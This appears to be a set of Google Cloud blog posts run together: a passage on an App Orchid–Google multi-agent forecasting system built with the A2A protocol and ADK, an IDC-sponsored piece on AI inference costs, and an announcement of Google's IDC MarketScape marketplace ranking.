The A2A Protocol enables AI agents, even those built by different teams and organizations, to discover, securely communicate, and collaborate across various systems. This allows developers to unite agents from multiple platforms, improving modularity, reducing vendor lock-in, and speeding up innovation. While Model Context Protocol (MCP) allows developers to connect data and APIs to agents, the agents themselves need a communication layer. The A2A protocol enables the bi-directional agentic communication needed to achieve multi-agent systems. 

The Google ADK provides a robust framework for building sophisticated, scalable multi-agent applications. It supports both code-first development (Python and Java SDKs) and a no-code (YAML-based) development to define agent behavior and orchestrate workflows. The ADK also utilizes MCP Tools, which provide a standardized interface for agents to interact with external systems. 

For instance, the MCP Toolbox for Databases provides out-of-the-box support for agents to easily access and query data from a variety of sources, including BigQuery. Agents built with the ADK can be deployed across virtually any environment — from a fully managed, enterprise-grade runtime like Vertex AI Agent Engine to Google Cloud services like Compute Engine, Cloud Run, or Google Kubernetes Engine (GKE), other cloud providers, or on-premises infrastructure.

At the heart of both agents’ intelligence are Google’s Gemini models, which are engineered for sophisticated reasoning and lead the industry on long context performance, with many models offering context windows of 1 million tokens or more. This massive context window is critical: it enable the data agent to understand natural language queries, enterprise data, and its underlying schema and relationships simultaneously, while enabling the prediction agent to analyze complex historical data and grasp the nuances of forecasting tasks.

This holistic understanding is what makes it possible for both agents to break down complex problems, identify subtle trends, and follow multi-step instructions without losing the initial context. Additionally, native tool use allows the agents to proficiently interact with external systems — whether querying a database or invoking a predictive model — and interpret the outputs to fulfill user requests.

Solution architecture: A secure, managed platform for AI agents

The Google and App Orchid multi-agent application is accessible through Gemini Enterprise, which provides a fully managed platform for organizations to discover, manage, and interact with AI agents, featuring enterprise-grade security, data privacy, and governance. The user-facing agent is deployed on Vertex AI Agent Engine and registered within this secure environment, providing authorized users with a simple entry point to the powerful multi-agent capabilities while ensuring that all interactions are grounded in the company’s private data and adhere to its security and compliance policies.

From an architectural perspective, the business forecasting agent acts as the orchestrator agent of this multi-agent system, managing and directing the entire workflow between the two specialized agents. It uses the A2A protocol to pass instructions and data back and forth, hiding the underlying complexity from the user.

For example, when a user asks the business forecasting agent to predict revenue per marketing channel, the agent:  

1. Calls upon the App Orchid Data Agent to retrieve historical sales data. 

2. Passes that information to the Google prediction agent to run its models and generate the forecast.

3. Receives the prediction data back and then summarizes it for the user. 

The Future is Collaborative

As the agentic era gets underway, it is evolving quickly. Our multi-agent approach demonstrates both how true agentic systems are most successful when multiple agents are at play, and the importance of finding strong partners with distinct capabilities to help build and assemble these agentic systems.

The partnership between App Orchid and Google is a testament to the power of collaboration in the AI space. By combining App Orchid’s deep understanding of enterprise data and Google’s global leadership in AI, this solution is greater than the sum of its parts. With the complementary strengths of each agent, enabled by the ADK and A2A Protocol, businesses can achieve levels of forecasting accuracy that were previously unattainable at the speed and ease agents can offer.

This innovative multi-agent system not only optimizes business processes but also paves the way for a future where AI agents from across the industry can collaborate to solve the world’s most complex challenges.

_{The Google Cloud team would like to thank App Orchid’s CTO Ravi Bommakanti for his contributions to this project.}

Editor’s note: Today we hear from Dave McCarthy of IDC about a total cost of ownership crisis for AI infrastructure — and what you can do about it. Read on for his insights.

The AI landscape is undergoing a seismic shift. For the past few years, the industry has been focused on the massive, resource-intensive process of training generative AI models. But the focus is now rapidly pivoting to a new, even larger challenge: inference.

Inference — the process of using a trained model to make real-time predictions — is no longer just one part of the AI lifecycle; it is quickly becoming the dominant workload. In a recent IDC global survey of over 1,300 AI decision-makers, inference was already cited as the largest AI workload segment, accounting for 47% of all AI operations.

This dominance is driven by the sheer volume of real-world applications. While a model is trained periodically, it is used for inference non-stop, with every user query, API call, and recommendation. It is also critical to recognize that this inference surge will be distributed across hybrid environments. According to IDC survey respondents, 63% of workloads will reside in the cloud, which remains the standard for scalable applications like content creation and chatbots. In contrast, 37% will be deployed on on-premises infrastructure, usually related to use cases such as robotics and other systems that interact directly with the physical world.

Now, a new factor is set to multiply this demand: the rise of autonomous and semi-autonomous AI agents.

These “agentic workflows” represent the next logical step in AI, where models don’t just respond to a single prompt but execute complex, multi-step tasks. An AI agent might be asked to “plan a trip to Paris,” requiring it to perform dozens of interconnected operations: browsing for flights, checking hotel availability, comparing reviews, and mapping locations. Each of these steps is an inference operation, creating a cascade of requests that must be orchestrated across different systems.

This surge in demand is exposing a critical vulnerability for many organizations: the AI efficiency gap.

The TCO crisis in an age of agents

The AI efficiency gap is the difference between the theoretical performance of an AI stack and the actual, real-world performance achieved. This gap is the source of a Total Cost of Ownership (TCO) crisis, and it’s driven by system-wide inefficiencies.

Our research shows that more than half (54.3%) of organizations use multiple AI frameworks and hardware platforms. While this flexibility seems beneficial, it has a staggering downside: 92% of these organizations report a negative effect on efficiency.

This fragmented “patchwork” approach, stitched together from disparate and non-optimized services, creates a ripple effect of problems:

• 41.6% reported increased compute costs: Redundant processes and poor utilization drive up spending.
• 40.4% reported increased engineering complexity: Teams spend more time managing the fragmented stack than delivering value.
• 40.0% reported increased latency: Bottlenecks in one part of the system (like storage or networking) degrade the overall performance of an application.

The core problem is that organizations are paying for expensive, high-performance accelerators, but are failing to keep them busy. Our data shows that 29% of all AI budget waste is tied to inference. This waste is a direct result of idle GPU time (cited by 29.4% of respondents) and inefficient use of resources (22.3%).

When an expensive accelerator is idle, it’s often waiting for data from a slow storage system or for the application server to prepare the next request. This is a system-level failure, not a component failure.

This failure is often compounded by significant hurdles in data management, which serves as the fuel for these AI engines. Survey respondents highlighted three primary challenges contributing to this gap: 47.7% struggle with ensuring data quality and governance, 45.6% grapple with data storage management and related costs, and 44.1% cite the complexity and time required for data cleaning and preparation. When data pipelines cannot keep pace with high-speed accelerators, the entire infrastructure becomes inefficient.

Closing the gap: From fragmented stacks to integrated systems

To scale cost-effectively in the age of AI agents, we must stop thinking about individual components and start focusing on system-level design.

An agentic workflow, for example, requires tight coordination between two distinct types of compute:

• General-purpose compute: This is the operational backbone. It runs the application servers, orchestrates the workflow, pre-processes data, and handles all the logic around the model.
• Specialized accelerators: This is the high-performance engine that runs the AI model itself.

In a fragmented environment, these two sides are inefficiently connected, and latency skyrockets. The path forward is an optimized architecture where the software, networking, storage, and compute — both general-purpose and specialized — are designed to work as a single, cohesive system.

This holistic approach is the only sustainable way to manage the TCO of AI. It redefines the goal away from simply buying faster accelerators and toward improving the overall “price-performance” and “unit economics” of the entire end-to-end workflow. By eliminating bottlenecks and maximizing the utilization of every resource, organizations can finally close the efficiency gap. Organizations are actively shifting strategies to capture this value. Our survey indicates that 28.9% of respondents are prioritizing model optimization techniques, while 26.3% are partnering with AI service providers to navigate this complexity. Additionally, 25% are investing in training to upskill their teams, ensuring they can increase the value of their AI investments.

The age of inference is here, and the age of agents is right behind it. This next wave of innovation will be won not by the organizations with the most powerful accelerators, but by those who build the most efficient, integrated, and cost-effective systems to power them.

A message from Google Cloud

We sponsored this IDC research to help IT leaders navigate the critical shift to the “Age of Inference.” We recognize that the “efficiency gap” identified here — driven by fragmented stacks and idle resources — is the primary barrier to sustainable ROI. That is why we created AI Hypercomputer: an integrated supercomputer system designed to deliver exceptional performance and efficiency for demanding AI workloads. 

IDC surveyed 1,300 global IT leaders to uncover how they are designing their stack for maximum efficiency and ROI. Get your free copy of the whitepaper to learn more: The AI Efficiency Gap: From TCO Crisis to Optimized Cost and Performance.

Today, we’re thrilled to announce that the IDC Marketscape has positioned Google as a Leader in the 2025 IDC MarketScape for Worldwide Hyperscaler Marketplaces. We believe this recognition underscores our commitment to deliver a cloud marketplace experience that fuels the AI agent economy and accelerates innovation. This achievement reflects our dedication to creating an open and interoperable agentic AI ecosystem for our customers and partners.

The IDC MarketScape rigorously evaluated hyperscaler marketplaces based on their strategies and capabilities, incorporating buyer and seller feedback. We believe being named a Leader reflects Google’s strengths in delivering a comprehensive, integrated, and forward-thinking platform for cloud and AI solutions.

According to the IDC MarketScape, Google was recognized for:

• Comprehensive solution portfolio and integration: Google Cloud Marketplace offers a broad selection of SaaS, AI agents, foundational models, data, professional services, and other listing categories, all validated for enterprise readiness and tightly integrated with Google Cloud.

• AI focus: The platform emphasizes AI innovation through our dedicated AI agent category, Vertex AI tools, and foundational models, enabling customers and partners to co-innovate, monetize AI solutions, and deploy through Gemini Enterprise. ​

Delivering a trusted platform for validated partner solutions

Google Cloud Marketplace offers a broad array of third-party solutions from our trusted partner ecosystem that help organizations implement value-generating solutions faster. Partner solutions undergo a rigorous solution validation process to ensure they integrate with our first-party AI and cloud solutions for a streamlined customer discovery and deployment experience.

Cloud Marketplace also offers robust cost control and governance capabilities for enterprises, including fine-grained access control through Identity and Access Management, and a granular governance toolkit via Private Marketplace. This helps enterprise clients efficiently align technology procurement with internal requirements.

Activating agentic AI

Cloud Marketplace offers a growing portfolio of agentic and generative AI solutions. Customers can access open source and partner models, along with Google’s own models, that integrate with Vertex AI. Organizations can also access datasets and AI agents that have been validated for Agent2Agent Protocol (A2A) and Gemini Enterprise, further benefiting from our large and open partner ecosystem.

AI-driven discovery features in Cloud Marketplace, including natural-language search and contextual recommendations, help users quickly identify relevant solutions for their business and industry. Our platform supports flexible buying needs through both direct and multi-partner Marketplace Channel Private Offers, providing consistent private offer experiences for AI agents and tools, software, datasets, and professional services.

Helping our partners accelerate go-to-market globally

Google Cloud serves customers in 200+ countries and territories, with Google Cloud Marketplace facilitating global transactions between our customers and partners with localized payment and billing across 65 countries and 30 currencies.

For our partners, we continue to invest in programs and tools to streamline co-selling across the ecosystem. This includes recent enhancements such as industry-standard partner agreements with consistent terms across hyperscalers, ISVs, and channels. Customers and partners benefit from streamlined contract review cycles and faster time to market, while marketplace vendors maintain the flexibility to either use Google’s standard terms or apply their own.

We will also be providing partners with improved deal telemetry and insights to better predict channel-led buying behavior and identify Marketplace Channel Private Offer opportunity potential. In addition, our flagship cloud marketplace incentive program, Marketplace Customer Credit Program, offers an additional 3% in Google Cloud credits when customers purchase an eligible cloud marketplace solution for the first time, whether directly through an ISV or via a chosen channel partner. 

Continuously enhancing the Cloud Marketplace experience

Our commitment to fostering rapid innovation and business transformation remains unwavering. We will continue to expand our offerings, particularly in agentic AI capabilities, and empower our customers and partners with the tools they need to accelerate value.

Want to dive deeper into the findings? Get your copy of the 2025 IDC MarketScape for Worldwide Hyperscaler Marketplaces Excerpt to dive deeper.

_{Source: IDC MarketScape: Worldwide Hyperscaler Marketplaces 2025 Vendor Assessment, #US52994425, Nov 2025}

_{IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of technology and suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each supplier’s position within a given market. The Capabilities score measures supplier product, go-to-market and business execution in the short-term. The Strategy score measures alignment of supplier strategies with customer requirements in a 3-5-year timeframe. Supplier market share is represented by the size of the icons.}